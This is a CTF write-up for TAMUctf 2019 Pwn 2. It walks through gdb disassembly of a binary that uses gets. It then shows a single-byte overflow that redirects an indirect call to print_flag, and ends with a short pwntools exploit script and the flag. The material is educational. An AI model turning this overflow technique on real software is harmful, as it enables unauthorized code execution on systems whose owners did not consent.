TAMUctf 2019 Pwn Write-up 2 of 6
Part 2 of my TAMUctf pwn write-up series.
Shoutout to my teammates, hackstreetboys represent! — [hsb] ar33zy |
Pwn 2 Solution (Difficulty: Easy, 356 pts.)
This challenge tackles single-byte overflow leading to a program flow control.
Let’s try to run the binary.
Again, the first part of the program prompted a question, and asked for an input. Let’s try to enter a very long string and observe what happens.
SEGFAULT !!!
We got a segmentation fault! :) Let’s do a static-dynamic analysis using gdb.
First, let’s check the properties of the binary.
Canary disabled.
Again, stack canary is disabled. This means that there is no mitigation on overwriting the return address of the program. The next thing we need to do is to determine where the program crash happened.
Here is the disassembled main function:
Dump of assembler code for function main:
0x565557dc <+0>: lea ecx,[esp+0x4]
0x565557e0 <+4>: and esp,0xfffffff0
0x565557e3 <+7>: push DWORD PTR [ecx-0x4]
0x565557e6 <+10>: push ebp
0x565557e7 <+11>: mov ebp,esp
0x565557e9 <+13>: push ebx
0x565557ea <+14>: push ecx
0x565557eb <+15>: sub esp,0x20
0x565557ee <+18>: call 0x565555b0 <__x86.get_pc_thunk.bx>
0x565557f3 <+23>: add ebx,0x17c5
0x565557f9 <+29>: mov eax,DWORD PTR [ebx+0x3c]
0x565557ff <+35>: mov eax,DWORD PTR [eax]
0x56555801 <+37>: push 0x0
0x56555803 <+39>: push 0x0
0x56555805 <+41>: push 0x2
0x56555807 <+43>: push eax
0x56555808 <+44>: call 0x56555520 <setvbuf@plt>
0x5655580d <+49>: add esp,0x10
0x56555810 <+52>: sub esp,0xc
0x56555813 <+55>: lea eax,[ebx-0x1670]
0x56555819 <+61>: push eax
0x5655581a <+62>: call 0x56555500 <puts@plt> ` (1)
0x5655581f <+67>: add esp,0x10
0x56555822 <+70>: sub esp,0xc
0x56555825 <+73>: lea eax,[ebp-0x27] ` (4)
0x56555828 <+76>: push eax
0x56555829 <+77>: call 0x565554e0 <gets@plt> ` (2)
0x5655582e <+82>: add esp,0x10
0x56555831 <+85>: sub esp,0xc
0x56555834 <+88>: lea eax,[ebp-0x27] ` (5)
0x56555837 <+91>: push eax
0x56555838 <+92>: call 0x5655577f <select_func> ` (3)
0x5655583d <+97>: add esp,0x10
0x56555840 <+100>: mov eax,0x0
0x56555845 <+105>: lea esp,[ebp-0x8]
0x56555848 <+108>: pop ecx
0x56555849 <+109>: pop ebx
0x5655584a <+110>: pop ebp
0x5655584b <+111>: lea esp,[ecx-0x4]
0x5655584e <+114>: ret
End of assembler dump.
Observations:
(1) This puts prints the first question `“Which function would you like to call?”.`
(2) Gets function — The user input function, a very dangerous function (no input length checking, can lead to buffer overflow)
(3) This function processes the user input. We can see that the gets function writes to `$ebp-0x27` (see #4)`,` and the same address is used as argument for `select_func()` (see #5).
It looks like the program crash happened at select_func(),
since it is the function that processes the user input. Let’s disassemble the function to have a better understanding.
Dump of assembler code for function select_func:
0x5655577f <+0>: push ebp
0x56555780 <+1>: mov ebp,esp
0x56555782 <+3>: push ebx
0x56555783 <+4>: sub esp,0x34
0x56555786 <+7>: call 0x565555b0 <__x86.get_pc_thunk.bx>
0x5655578b <+12>: add ebx,0x182d
0x56555791 <+18>: lea eax,[ebx-0x190b]
0x56555797 <+24>: mov DWORD PTR [ebp-0xc],eax
0x5655579a <+27>: sub esp,0x4
0x5655579d <+30>: push 0x1f
0x5655579f <+32>: push DWORD PTR [ebp+0x8]
0x565557a2 <+35>: lea eax,[ebp-0x2a]
0x565557a5 <+38>: push eax
0x565557a6 <+39>: call 0x56555550 <strncpy@plt> ` (1)
0x565557ab <+44>: add esp,0x10
0x565557ae <+47>: sub esp,0x8
0x565557b1 <+50>: lea eax,[ebx-0x1675]
0x565557b7 <+56>: push eax
0x565557b8 <+57>: lea eax,[ebp-0x2a]
0x565557bb <+60>: push eax
0x565557bc <+61>: call 0x565554d0 <strcmp@plt>
0x565557c1 <+66>: add esp,0x10
0x565557c4 <+69>: test eax,eax
0x565557c6 <+71>: jne 0x565557d1 <select_func+82>
0x565557c8 <+73>: lea eax,[ebx-0x1864]
0x565557ce <+79>: mov DWORD PTR [ebp-0xc],eax
0x565557d1 <+82>: mov eax,DWORD PTR [ebp-0xc] ` (3)
0x565557d4 <+85>: call eax ` (2)
0x565557d6 <+87>: nop
0x565557d7 <+88>: mov ebx,DWORD PTR [ebp-0x4]
0x565557da <+91>: leave
0x565557db <+92>: ret
End of assembler dump.
Reviewing this disassembled function gives us the following details:
(1) Our input is at `$ebp+0x8`, and `0x1f` bytes are copied to `$ebp-0x2a,` with `strncpy` function.
0x5655579d <+30>: push 0x1f
0x5655579f <+32>: push DWORD PTR [ebp+0x8]
0x565557a2 <+35>: lea eax,[ebp-0x2a]
0x565557a5 <+38>: push eax
0x565557a6 <+39>: call 0x56555550 <strncpy@plt>
(2) This instruction below is very notable
0x565557d4 <+85>: call eax
This instruction means that the value of `$eax` will be called. If we can control the value of this `$eax`, we can do anything we want on this program.
(3) The value of `$eax` on `call $eax` is from `$ebp-0xc`
0x565557d1 <+82>: mov eax,DWORD PTR [ebp-0xc]
0x565557d4 <+85>: call eax
With the following details, we know that if we write a very long string to $ebp-0x2a
, we can overwrite the value of $ebp-0xc
.
Let’s compute the distance of $ebp-0x2a
to $ebp-0xc
.
`0x2a - 0xc = 30 bytes`
Our payload structure will be like this:
`payload = <30 bytes buffer> + <4 bytes - address of the function we want to call>`
But there is a problem, remember the strncpy
function above? It only copies 0x1f bytes
or 31 bytes
of data to $ebp-0x2a
. We can only craft a 31-byte payload, and we can only control the last byte of $ebp-0xc
.
Sample run without overflow:
Value of $eax
is 0x56555600
We can see the value of $eax
is 0x56555600
. Let’s try a 31-byte input.
Sample single-byte overflow:
$eax is overwritten.
What did we learn from this data?
- We can see that our idea is correct and with our 31-byte input, the last byte of $eax is overwritten. It is overwritten with `0x41`, which is A in ascii.
- We also learned that the program crash will happen when the new value of `$eax` is not a valid address
We can now control the value of $eax, but what now? What one byte value should we write in order to solve this problem?
I used radare2 to find the right address that I need to use.
Upon inspection, I saw another win function that will give us the flag.
This print_flag
function automatically prints the flag. We can jump to this function to solve the challenge.
Luckily, the address of the print_flag
function and the address of the default value of $eax
exactly differs by one byte.
0x565556d8 is the address of print_flag
`0x565556d8 `—address of the `print_flag` function
`0x56555600 `— default value of `$eax`
The missing piece of our payload is 0xd8
.
We can now craft our payload to solve the problem:
payload = <30 byte buffer> + 0xd8
Sample exploit code:
./exploit.py
from pwn import *
r = remote('pwn.tamuctf.com', 4322)
offset = 30
payload = ""
payload += "A"*offset
payload += "xd8"
r.sendlineafter("call?",payload)
r.recvline()
r.recvline()
log.info("Flag: {}".format(r.recvline()))
Flag: gigem{4ll_17_74k35_15_0n3}
-
Thank you for reading. Hope you learned something from this write-up. Feel free to drop any comments on this one.
— ar33zy